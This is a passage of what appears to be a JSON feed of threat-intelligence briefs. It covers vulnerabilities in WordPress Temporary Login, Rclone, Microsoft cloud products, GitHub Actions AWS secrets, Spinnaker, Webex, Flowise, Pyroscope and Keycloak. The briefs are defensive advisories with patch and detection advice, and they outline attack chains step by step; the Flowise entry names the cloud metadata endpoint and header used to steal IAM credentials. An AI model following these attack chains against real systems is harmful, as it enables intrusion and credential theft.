\u003ccode\u003eempty()\u003c/code\u003e check is bypassed when the \u0026rsquo;temp-login-token\u0026rsquo; parameter is an array.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003esanitize_key()\u003c/code\u003e processes the array and returns an empty string as the meta_value.\u003c/li\u003e\n\u003cli\u003eWordPress executes a database query using the empty meta_value, effectively retrieving all users with active temporary login tokens.\u003c/li\u003e\n\u003cli\u003eThe attacker is granted unauthorized access to the account of a targeted temporary user, bypassing normal authentication procedures.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2026-7567 allows unauthenticated attackers to bypass login restrictions and gain unauthorized access to WordPress user accounts utilizing the vulnerable Temporary Login plugin. The severity is high, as it allows complete compromise of user accounts without requiring any valid credentials. The impact includes potential data theft, account takeover, website defacement, and other malicious activities, depending on the privileges of the compromised user account.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eApply the available patch or upgrade the Temporary Login plugin to a version greater than 1.0.0 to remediate CVE-2026-7567.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eDetect WordPress Temporary Login Authentication Bypass Attempt\u003c/code\u003e to detect exploitation attempts by monitoring HTTP requests with array-based \u003ccode\u003etemp-login-token\u003c/code\u003e parameters in the query string.\u003c/li\u003e\n\u003cli\u003eImplement input validation on the web server to reject requests containing array-based parameters where scalar strings are expected.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-05-01T10:15:58Z","date_published":"2026-05-01T10:15:58Z","id":"/briefs/2024-01-wordpress-temp-login-auth-bypass/","summary":"The Temporary Login plugin for WordPress versions up to 1.0.0 is vulnerable to authentication bypass due to improper input validation, allowing unauthenticated attackers to log in as arbitrary temporary users by sending a specially crafted GET request.","title":"WordPress Temporary Login Plugin Authentication Bypass (CVE-2026-7567)","url":"https://feed.craftedsignal.io/briefs/2024-01-wordpress-temp-login-auth-bypass/"},{"_cs_actors":[],"_cs_cves":[{"id":"CVE-2026-41176"},{"id":"CVE-2026-41179"}],"_cs_exploited":true,"_cs_products":["Rclone"],"_cs_severities":["critical"],"_cs_tags":["vulnerability","rce","cloud"],"_cs_type":"threat","_cs_vendors":["Rclone"],"content_html":"\u003cp\u003eTwo critical unauthenticated remote code execution vulnerabilities, CVE-2026-41176 and CVE-2026-41179, have been discovered in Rclone versions prior to 1.73.5. Rclone is a command-line program used to manage files on cloud storage services. These vulnerabilities can be exploited if the Rclone remote control (RC) API is enabled without proper authentication (e.g., \u003ccode\u003e--rc-user/--rc-pass/--rc-htpasswd\u003c/code\u003e). An attacker with network access to a vulnerable Rclone instance can bypass authentication, execute arbitrary commands, and potentially gain full system compromise. As organizations increasingly rely on cloud storage, vulnerabilities in tools like Rclone can have significant impact by enabling data theft and lateral movement. The vulnerabilities were reported on April 24, 2026, with no known active exploitation as of April 23, 2026.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker identifies a target system running Rclone with the RC API enabled.\u003c/li\u003e\n\u003cli\u003eThe attacker verifies the RC API is exposed on a reachable network address (e.g., not only localhost) and is not protected by HTTP authentication.\u003c/li\u003e\n\u003cli\u003eFor CVE-2026-41179, the attacker sends a single crafted HTTP request to the RC endpoint, leveraging the WebDAV backend initialization process.\u003c/li\u003e\n\u003cli\u003eThis crafted request triggers the execution of arbitrary commands on the target system without authentication.\u003c/li\u003e\n\u003cli\u003eFor CVE-2026-41176, the attacker bypasses authentication controls to access sensitive administrative functionality.\u003c/li\u003e\n\u003cli\u003eThe attacker manipulates Rclone configuration or invokes operational RC methods to execute arbitrary commands.\u003c/li\u003e\n\u003cli\u003eThe attacker gains local file read/write access, potentially stealing sensitive data or uploading malicious payloads.\u003c/li\u003e\n\u003cli\u003eThe attacker achieves full system compromise, enabling data theft, lateral movement within the network, or denial of service.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2026-41176 and CVE-2026-41179 can lead to full system compromise, data theft, lateral movement, or denial of service. Specifically, attackers can achieve local file read, file write, or shell access, depending on the environment. The impact includes potential exposure of sensitive cloud data and configurations, which could compromise the integrity and confidentiality of stored information. Given Rclone\u0026rsquo;s popularity among organizations managing cloud storage, a successful attack could affect a large number of victims across various sectors.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade Rclone to version 1.73.5 or later to patch CVE-2026-41176 and CVE-2026-41179 as recommended by the vendor.\u003c/li\u003e\n\u003cli\u003eEnable global HTTP authentication on RC servers using \u003ccode\u003e--rc-user\u003c/code\u003e, \u003ccode\u003e--rc-pass\u003c/code\u003e, or \u003ccode\u003e--rc-htpasswd\u003c/code\u003e to mitigate the unauthenticated access, as mentioned in the description of the vulnerabilities.\u003c/li\u003e\n\u003cli\u003eImplement network-level controls (e.g., firewall rules) to restrict access to RC server endpoints and the RC service, as suggested by CCB.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Detect Rclone RC API Access Without Authentication\u0026rdquo; to identify potentially vulnerable Rclone instances within your environment.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-25T12:00:00Z","date_published":"2026-04-25T12:00:00Z","id":"/briefs/2026-04-rclone-rce/","summary":"Rclone versions prior to 1.73.5 are vulnerable to two critical unauthenticated remote code execution vulnerabilities (CVE-2026-41176 and CVE-2026-41179) when the remote control API is enabled without authentication, potentially allowing attackers to execute arbitrary commands and compromise the system.","title":"Rclone Unauthenticated Remote Code Execution Vulnerabilities","url":"https://feed.craftedsignal.io/briefs/2026-04-rclone-rce/"},{"_cs_actors":[],"_cs_cves":[{"cvss":7.7,"id":"CVE-2026-39361"},{"cvss":8.5,"id":"CVE-2026-39974"},{"cvss":7.8,"id":"CVE-2026-32168"},{"cvss":8.8,"id":"CVE-2026-32171"},{"cvss":7.8,"id":"CVE-2026-32192"}],"_cs_exploited":false,"_cs_products":["Azure","Microsoft 365 Copilot","Dynamics 365","Power Apps"],"_cs_severities":["high"],"_cs_tags":["cloud","privilege-escalation","code-execution","spoofing"],"_cs_type":"advisory","_cs_vendors":["Microsoft"],"content_html":"\u003cp\u003eMultiple vulnerabilities have been reported affecting Microsoft Azure, Microsoft 365 Copilot, Microsoft Dynamics 365, and Microsoft Power Apps. Successful exploitation of these vulnerabilities could enable attackers to perform a variety of malicious actions, including escalating their privileges within the affected systems, executing arbitrary code to gain further control, and conducting spoofing attacks to deceive users or bypass security measures. The full details regarding specific vulnerability types and exploitation methods are currently unavailable, but the breadth of affected products indicates a potentially widespread impact across cloud-based Microsoft services. Defenders should prioritize monitoring for suspicious activity indicative of exploitation attempts targeting these services.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003cp\u003eSince the advisory lacks specifics, we will describe a generalized attack chain based on the potential vulnerabilities:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eInitial Access:\u003c/strong\u003e The attacker gains initial access to a target environment, possibly through compromised credentials or a separate vulnerability.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePrivilege Escalation:\u003c/strong\u003e The attacker exploits a vulnerability within one of the Microsoft cloud products (Azure, Microsoft 365 Copilot, Dynamics 365, or Power Apps) to elevate their privileges to a higher level, potentially gaining administrative rights.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCode Injection:\u003c/strong\u003e Leveraging the escalated privileges, the attacker injects malicious code into a vulnerable component of the cloud service.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCode Execution:\u003c/strong\u003e The injected code is executed, allowing the attacker to perform arbitrary actions within the context of the compromised service.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLateral Movement:\u003c/strong\u003e The attacker uses the compromised service as a pivot point to move laterally within the cloud environment, targeting other resources and services.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eData Exfiltration/Manipulation:\u003c/strong\u003e Once established within the environment, the attacker exfiltrates sensitive data or manipulates data for malicious purposes.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSpoofing Attacks:\u003c/strong\u003e The attacker leverages the compromised environment to launch spoofing attacks, potentially targeting other users or systems with phishing emails or other deceptive tactics.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePersistence:\u003c/strong\u003e The attacker establishes persistence within the cloud environment to maintain access even after the initial vulnerability is patched.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of these vulnerabilities could have significant consequences, including unauthorized access to sensitive data, disruption of critical business processes, and financial losses. The number of potential victims is substantial, given the widespread use of Microsoft cloud services across various sectors. A successful attack could result in data breaches, service outages, and reputational damage.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMonitor logs from Microsoft Azure, Microsoft 365 Copilot, Microsoft Dynamics 365, and Microsoft Power Apps for suspicious activity indicative of privilege escalation, code execution, and spoofing attacks.\u003c/li\u003e\n\u003cli\u003eEnable and review audit logs within the affected Microsoft cloud services to identify anomalous user behavior and potential security breaches.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rules provided in this brief to your SIEM and tune them for your specific environment to detect potential exploitation attempts.\u003c/li\u003e\n\u003cli\u003eFollow Microsoft\u0026rsquo;s official security advisories and apply any available patches or mitigations as soon as they are released.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-24T09:09:09Z","date_published":"2026-04-24T09:09:09Z","id":"/briefs/2026-04-microsoft-cloud-vulns/","summary":"Multiple vulnerabilities in Microsoft Azure, Microsoft 365 Copilot, Microsoft Dynamics 365, and Microsoft Power Apps could allow an attacker to escalate privileges, execute arbitrary code, and conduct spoofing attacks.","title":"Multiple Vulnerabilities in Microsoft Cloud Products Allow Privilege Escalation and Code Execution","url":"https://feed.craftedsignal.io/briefs/2026-04-microsoft-cloud-vulns/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["AWS IAM","GitHub Actions"],"_cs_severities":["high"],"_cs_tags":["cloud","aws","github","credential-theft","initial-access","lateral-movement"],"_cs_type":"advisory","_cs_vendors":["Amazon","Microsoft","Google"],"content_html":"\u003cp\u003eThis threat involves the unauthorized use of AWS credentials stolen from GitHub Actions secrets. Attackers exfiltrate these credentials and use them from their own infrastructure, bypassing the intended CI/CD environment. The activity is detected by observing AWS access keys appearing in CloudTrail logs originating from both legitimate GitHub Actions runners (identified by Microsoft ASN or the \u003ccode\u003egithub-actions\u003c/code\u003e user agent string) and suspicious infrastructure outside the expected CI/CD provider ASNs (Amazon, Google, Microsoft). This indicates a breach of GitHub repository or organization secrets, leading to potential unauthorized access and control over AWS resources. This activity can begin with compromised Github accounts.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains unauthorized access to a GitHub repository or organization with AWS credentials stored as secrets.\u003c/li\u003e\n\u003cli\u003eThe attacker exfiltrates the AWS access key ID and secret access key, either manually or through automated means, such as modifying a GitHub Action workflow to expose the secrets.\u003c/li\u003e\n\u003cli\u003eThe attacker configures the stolen AWS credentials on their own infrastructure, using tools like the AWS CLI or boto3.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to authenticate to AWS using the stolen credentials. This generates CloudTrail logs with the attacker\u0026rsquo;s source IP address and ASN.\u003c/li\u003e\n\u003cli\u003eThe attacker performs reconnaissance activities, such as calling \u003ccode\u003ests:GetCallerIdentity\u003c/code\u003e, \u003ccode\u003eListBuckets\u003c/code\u003e, \u003ccode\u003eDescribeInstances\u003c/code\u003e, or \u003ccode\u003eListUsers\u003c/code\u003e, to understand the AWS environment and identify potential targets.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to escalate privileges or move laterally within the AWS environment by exploiting the compromised credentials.\u003c/li\u003e\n\u003cli\u003eThe attacker may create, modify, or delete AWS resources, such as EC2 instances, S3 buckets, or IAM roles, depending on the permissions associated with the stolen credentials.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation leads to unauthorized access to AWS resources, potentially resulting in data breaches, service disruptions, or financial losses. The impact depends on the permissions associated with the stolen AWS credentials. A single compromised credential could expose sensitive data, disrupt critical services, or allow attackers to deploy malicious infrastructure within the victim\u0026rsquo;s AWS environment. Identifying and responding to this threat quickly is vital to minimize damages.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;AWS Credentials Used from GitHub Actions and Non-CI/CD Infrastructure\u0026rdquo; to your SIEM and tune for your environment to detect suspicious usage patterns.\u003c/li\u003e\n\u003cli\u003eRotate the compromised AWS access key in IAM immediately and update the corresponding GitHub repository/organization secret as described in the rule documentation.\u003c/li\u003e\n\u003cli\u003eImplement OIDC-based authentication (\u003ccode\u003eaws-actions/configure-aws-credentials\u003c/code\u003e with \u003ccode\u003erole-to-assume\u003c/code\u003e) instead of long-lived access keys as mentioned in the rule documentation.\u003c/li\u003e\n\u003cli\u003eIf using OIDC, add IP condition policies to the IAM role trust policy to restrict \u003ccode\u003eAssumeRoleWithWebIdentity\u003c/code\u003e to known GitHub runner IP ranges, based on the information in the rule documentation.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-22T17:45:55Z","date_published":"2026-04-22T17:45:55Z","id":"/briefs/2024-01-aws-github-actions-credential-theft/","summary":"Attackers are stealing AWS credentials configured as GitHub Actions secrets and using them from non-CI/CD infrastructure, indicating potential credential theft and unauthorized access to AWS resources.","title":"AWS Credentials Used from GitHub Actions and Non-CI/CD Infrastructure","url":"https://feed.craftedsignal.io/briefs/2024-01-aws-github-actions-credential-theft/"},{"_cs_actors":[],"_cs_cves":[{"cvss":9.9,"id":"CVE-2026-32613"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["critical"],"_cs_tags":["spel","code-execution","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eSpinnaker is an open-source, multi-cloud continuous delivery platform. The Echo service, like other services within Spinnaker, utilizes Spring Expression Language (SPeL) for processing information, specifically concerning expected artifacts. However, versions prior to 2026.1.0, 2026.0.1, 2025.4.2, and 2025.3.2 did not restrict the context of SPeL to a set of trusted classes, granting full JVM access, unlike Orca. This unrestricted access enables a user to leverage arbitrary Java classes, facilitating deep system access. This vulnerability allows attackers to execute arbitrary commands, access sensitive files, and potentially compromise the entire Spinnaker environment. Defenders should upgrade to patched versions or disable the Echo service as a workaround to mitigate this critical risk.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker crafts a malicious payload containing a SpEL expression.\u003c/li\u003e\n\u003cli\u003eThis payload is submitted to the Echo service via a network request, likely through a specifically crafted API call involving expected artifacts.\u003c/li\u003e\n\u003cli\u003eThe Echo service processes the request and evaluates the malicious SpEL expression without proper context restrictions.\u003c/li\u003e\n\u003cli\u003eThe SpEL expression leverages Java classes to bypass security controls and gain access to underlying system resources.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the unrestricted JVM access to execute arbitrary commands on the server.\u003c/li\u003e\n\u003cli\u003eSuccessful command execution allows the attacker to read and write files on the system.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages file access to obtain sensitive information such as credentials or configuration files.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the compromised system to move laterally within the Spinnaker environment or target connected cloud resources. The final objective is likely complete control over the Spinnaker deployment and its connected infrastructure.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability allows for arbitrary code execution on the Spinnaker server. This can lead to complete system compromise, allowing attackers to steal sensitive data, disrupt continuous delivery pipelines, and potentially gain access to connected cloud environments. Due to the critical nature of Spinnaker in managing deployments, a successful attack could severely impact an organization\u0026rsquo;s ability to deploy and maintain applications, potentially leading to significant financial and reputational damage.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade Spinnaker instances to versions 2026.1.0, 2026.0.1, 2025.4.2, or 2025.3.2 to patch CVE-2026-32613.\u003c/li\u003e\n\u003cli\u003eAs a temporary workaround, disable the Echo service entirely until the upgrade can be performed, referencing the vendor documentation for disabling specific Spinnaker services.\u003c/li\u003e\n\u003cli\u003eMonitor web server logs for unusual HTTP requests to the Echo service endpoints, specifically looking for suspicious patterns or attempts to inject SpEL expressions, using the Sigma rule provided below.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-20T21:19:10Z","date_published":"2026-04-20T21:19:10Z","id":"/briefs/2026-04-spinnaker-spel/","summary":"Unrestricted access to the JVM via Spring Expression Language (SPeL) in Spinnaker's Echo service allows for arbitrary code execution, enabling attackers to invoke commands and access files.","title":"Spinnaker Echo Service Vulnerable to Spring Expression Language Injection","url":"https://feed.craftedsignal.io/briefs/2026-04-spinnaker-spel/"},{"_cs_actors":[],"_cs_cves":[{"cvss":9.8,"id":"CVE-2026-20184"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["critical"],"_cs_tags":["cisco","webex","sso","certificate-validation","user-impersonation","cve-2026-20184","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eA critical vulnerability, CVE-2026-20184, has been identified in the Single Sign-On (SSO) implementation with Control Hub in CISCO Webex versions 39.6 through 45.4. This improper certificate validation issue allows an unauthenticated, remote attacker to bypass security controls and impersonate legitimate users. CISCO Webex is a widely used cloud-based platform for video meetings and collaboration. Successful exploitation could lead to unauthorized access to sensitive information, disruption of services, and a complete compromise of the CIA triad. The vulnerability poses a significant risk to organizations relying on Webex for internal and external communications. Public proof-of-concept or proof-of-exploitation code is not yet available, but the severity and ease of exploitation warrant immediate attention and patching.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker identifies a vulnerable CISCO Webex instance running a version between 39.6 and 45.4.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious token designed to exploit the improper certificate validation flaw in the SSO with Control Hub.\u003c/li\u003e\n\u003cli\u003eThe attacker connects to a Webex service endpoint, presenting the crafted token.\u003c/li\u003e\n\u003cli\u003eThe vulnerable Webex instance fails to properly validate the certificate associated with the token.\u003c/li\u003e\n\u003cli\u003eThe attacker is authenticated as a targeted user without providing valid credentials.\u003c/li\u003e\n\u003cli\u003eThe attacker gains unauthorized access to the targeted user\u0026rsquo;s sensitive information, including meeting schedules, contact lists, and potentially recorded meetings.\u003c/li\u003e\n\u003cli\u003eThe attacker joins Webex meetings without authorization, potentially eavesdropping on confidential conversations or disrupting the meeting.\u003c/li\u003e\n\u003cli\u003eThe attacker escalates privileges within the Webex environment by leveraging the compromised user\u0026rsquo;s access rights, potentially gaining administrative control.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2026-20184 can lead to severe consequences. Attackers can impersonate any user within the Webex service, gaining unauthorized access to confidential meetings, sensitive data, and internal communications. This can result in a breach of confidentiality, integrity, and availability, potentially leading to significant financial losses, reputational damage, and legal liabilities. The number of affected organizations could be substantial given Webex\u0026rsquo;s widespread use across various sectors.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImmediately patch all CISCO Webex installations to a version beyond 45.4 to remediate CVE-2026-20184 (Reference: CISCO Security Advisory).\u003c/li\u003e\n\u003cli\u003eUpscale monitoring and detection capabilities to identify any suspicious activity related to unauthorized access attempts within the CISCO Webex environment, as recommended by the CCB (Reference: CCB Advisory).\u003c/li\u003e\n\u003cli\u003eImplement the provided Sigma rule to detect suspicious authentication patterns indicative of exploitation attempts against Webex (Reference: Sigma rule - \u0026ldquo;Webex Suspicious Authentication Pattern\u0026rdquo;).\u003c/li\u003e\n\u003cli\u003eEnable and review Webex access logs for unusual login attempts or access patterns originating from unexpected locations (Reference: Webex access logs).\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-17T09:19:48Z","date_published":"2026-04-17T09:19:48Z","id":"/briefs/2026-04-cisco-webex-cert-bypass/","summary":"A critical improper certificate validation vulnerability in CISCO Webex versions 39.6 - 45.4 (CVE-2026-20184) allows a remote, unprivileged attacker to impersonate users, gain unauthorized access, and join meetings without authorization, potentially impacting confidentiality, integrity, and availability.","title":"Critical Certificate Validation Vulnerability in CISCO Webex Allows User Impersonation","url":"https://feed.craftedsignal.io/briefs/2026-04-cisco-webex-cert-bypass/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["ssrf","flowise","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eFlowise, a low-code platform for building custom automation workflows, is susceptible to a Server-Side Request Forgery (SSRF) protection bypass. This vulnerability stems from the application\u0026rsquo;s incomplete implementation of SSRF defenses. While \u003ccode\u003eaxios\u003c/code\u003e and \u003ccode\u003enode-fetch\u003c/code\u003e libraries are secured with an \u003ccode\u003eHTTP_DENY_LIST\u003c/code\u003e, the built-in Node.js modules \u003ccode\u003ehttp\u003c/code\u003e, \u003ccode\u003ehttps\u003c/code\u003e, and \u003ccode\u003enet\u003c/code\u003e are permitted within the NodeVM sandbox without any equivalent restrictions. An authenticated attacker can exploit this oversight in Flowise version 3.0.13 and earlier to make arbitrary HTTP requests to internal network resources. This issue allows bypassing intended security controls and potentially accessing sensitive information, such as cloud provider metadata services.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker authenticates to a Flowise instance using a valid API key or session.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious JavaScript payload designed to exploit the custom function feature.\u003c/li\u003e\n\u003cli\u003eThe malicious payload imports the built-in \u003ccode\u003ehttp\u003c/code\u003e module.\u003c/li\u003e\n\u003cli\u003eThe payload constructs an HTTP request targeting an internal resource, such as the AWS metadata service at \u003ccode\u003e169.254.169.254\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe request includes a header to obtain an IAM token: \u003ccode\u003e'X-aws-ec2-metadata-token-ttl-seconds': '21600'\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe payload uses the obtained IAM token to request temporary AWS credentials from the metadata service.\u003c/li\u003e\n\u003cli\u003eThe custom function executes the code within the NodeVM sandbox, bypassing the intended SSRF protection.\u003c/li\u003e\n\u003cli\u003eThe attacker retrieves the temporary AWS credentials from the metadata service, potentially leading to unauthorized access to AWS resources.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this SSRF vulnerability can have significant consequences. Attackers can steal temporary IAM credentials from cloud provider metadata services, granting them unauthorized access to other cloud resources. Furthermore, they can scan internal networks to discover services and identify additional attack targets. The ability to reach databases, admin panels, and other internal APIs that should not be externally accessible poses a severe security risk, potentially leading to data breaches or system compromise. All Flowise deployments where \u003ccode\u003eHTTP_DENY_LIST\u003c/code\u003e is configured for SSRF protection are vulnerable, while deployments without it are already generally vulnerable to SSRF.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eApply the necessary patches to Flowise to remediate the SSRF vulnerability as described in GHSA-xhmj-rg95-44hv.\u003c/li\u003e\n\u003cli\u003eDeploy the following Sigma rule to detect exploitation attempts involving the \u003ccode\u003ehttp\u003c/code\u003e module targeting common cloud metadata endpoints: \u003ccode\u003eFlowise SSRF Using HTTP Module\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eEnable logging of HTTP requests originating from the Flowise server to aid in identifying and investigating potential SSRF attacks.\u003c/li\u003e\n\u003cli\u003eReview and harden network segmentation to limit the impact of potential SSRF vulnerabilities.\u003c/li\u003e\n\u003cli\u003eConsider disabling the custom function feature if it is not essential to the functionality of the Flowise deployment.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-16T21:50:12Z","date_published":"2026-04-16T21:50:12Z","id":"/briefs/2024-01-09-flowise-ssrf/","summary":"Flowise is vulnerable to SSRF protection bypass via unprotected built-in HTTP modules in the custom function sandbox, allowing authenticated users to access internal network resources by exploiting the lack of SSRF protection on Node.js `http`, `https`, and `net` modules.","title":"Flowise SSRF Protection Bypass via Unprotected Built-in HTTP Modules","url":"https://feed.craftedsignal.io/briefs/2024-01-09-flowise-ssrf/"},{"_cs_actors":[],"_cs_cves":[{"cvss":9.1,"id":"CVE-2025-41118"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["critical"],"_cs_tags":["pyroscope","tencent-cos","secret-key-exposure","cve-2025-41118","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003ePyroscope is an open-source continuous profiling database that supports various storage backends, including Tencent Cloud Object Storage (COS). A vulnerability, identified as CVE-2025-41118, exists where an attacker with direct access to the Pyroscope API can extract the \u003ccode\u003esecret_key\u003c/code\u003e configuration value when Tencent COS is used as the storage backend. This vulnerability poses a significant risk as the exposed secret key could allow unauthorized access to the Tencent COS storage, potentially leading to data breaches or other malicious activities. The vulnerability has been patched in versions 1.15.2 and above, 1.16.1 and above, and all versions of 1.17.x. It is strongly recommended to limit public internet exposure of Pyroscope API instances.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains network access to the Pyroscope API endpoint, either through public exposure or internal network penetration.\u003c/li\u003e\n\u003cli\u003eAttacker sends a crafted HTTP request to the Pyroscope API endpoint designed to expose configuration details. The specific API endpoint and parameters are not detailed in the source but are assumed to exist for configuration management.\u003c/li\u003e\n\u003cli\u003eThe vulnerable Pyroscope API processes the request without proper authorization or input validation.\u003c/li\u003e\n\u003cli\u003eThe API retrieves the Tencent COS storage configuration, including the \u003ccode\u003esecret_key\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003esecret_key\u003c/code\u003e is inadvertently included in the API response to the attacker.\u003c/li\u003e\n\u003cli\u003eAttacker extracts the \u003ccode\u003esecret_key\u003c/code\u003e from the API response.\u003c/li\u003e\n\u003cli\u003eAttacker uses the compromised \u003ccode\u003esecret_key\u003c/code\u003e to authenticate to Tencent COS.\u003c/li\u003e\n\u003cli\u003eAttacker gains unauthorized access to data stored in the Tencent COS bucket associated with the compromised \u003ccode\u003esecret_key\u003c/code\u003e, potentially leading to data exfiltration, modification, or deletion.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2025-41118 grants an attacker unauthorized access to the Tencent COS storage backend used by Pyroscope. This access allows the attacker to read, modify, or delete data stored in the cloud storage. The impact depends on the sensitivity of the data stored in Tencent COS. In a worst-case scenario, a complete data breach and service disruption are possible. The number of affected Pyroscope installations is currently unknown.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade Pyroscope instances to the patched versions: 1.15.2+, 1.16.1+, or any 1.17.x version to remediate CVE-2025-41118.\u003c/li\u003e\n\u003cli\u003eImplement network access controls to restrict access to the Pyroscope API to trusted users or internal systems, mitigating initial access, as suggested in the overview.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eDetect Pyroscope Configuration Request\u003c/code\u003e to identify potential attempts to access sensitive configuration data via the API.\u003c/li\u003e\n\u003cli\u003eRegularly review and audit the configuration of Pyroscope and its storage backends (Tencent COS) to ensure proper security measures are in place.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-16T12:00:00Z","date_published":"2026-04-16T12:00:00Z","id":"/briefs/2026-04-pyroscope-secret-key-leak/","summary":"CVE-2025-41118 allows an attacker with direct access to the Pyroscope API, when configured with Tencent COS, to extract the secret_key configuration value, potentially leading to unauthorized access to the cloud storage backend.","title":"Pyroscope Secret Key Exposure via Tencent COS Configuration (CVE-2025-41118)","url":"https://feed.craftedsignal.io/briefs/2026-04-pyroscope-secret-key-leak/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["medium"],"_cs_tags":["keycloak","xss","cross-site scripting","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eA Cross-Site Scripting (XSS) vulnerability exists within Keycloak, a widely-used open-source identity and access management solution. This vulnerability allows a remote, authenticated attacker to inject malicious scripts into web pages viewed by other users. The attacker must possess valid credentials to initially access the vulnerable Keycloak instance. While the specific version affected is not provided in this advisory, it\u0026rsquo;s crucial for organizations using Keycloak to investigate and apply necessary patches or mitigations. The impact of successful exploitation ranges from defacement to sensitive data theft and account compromise. Defenders should 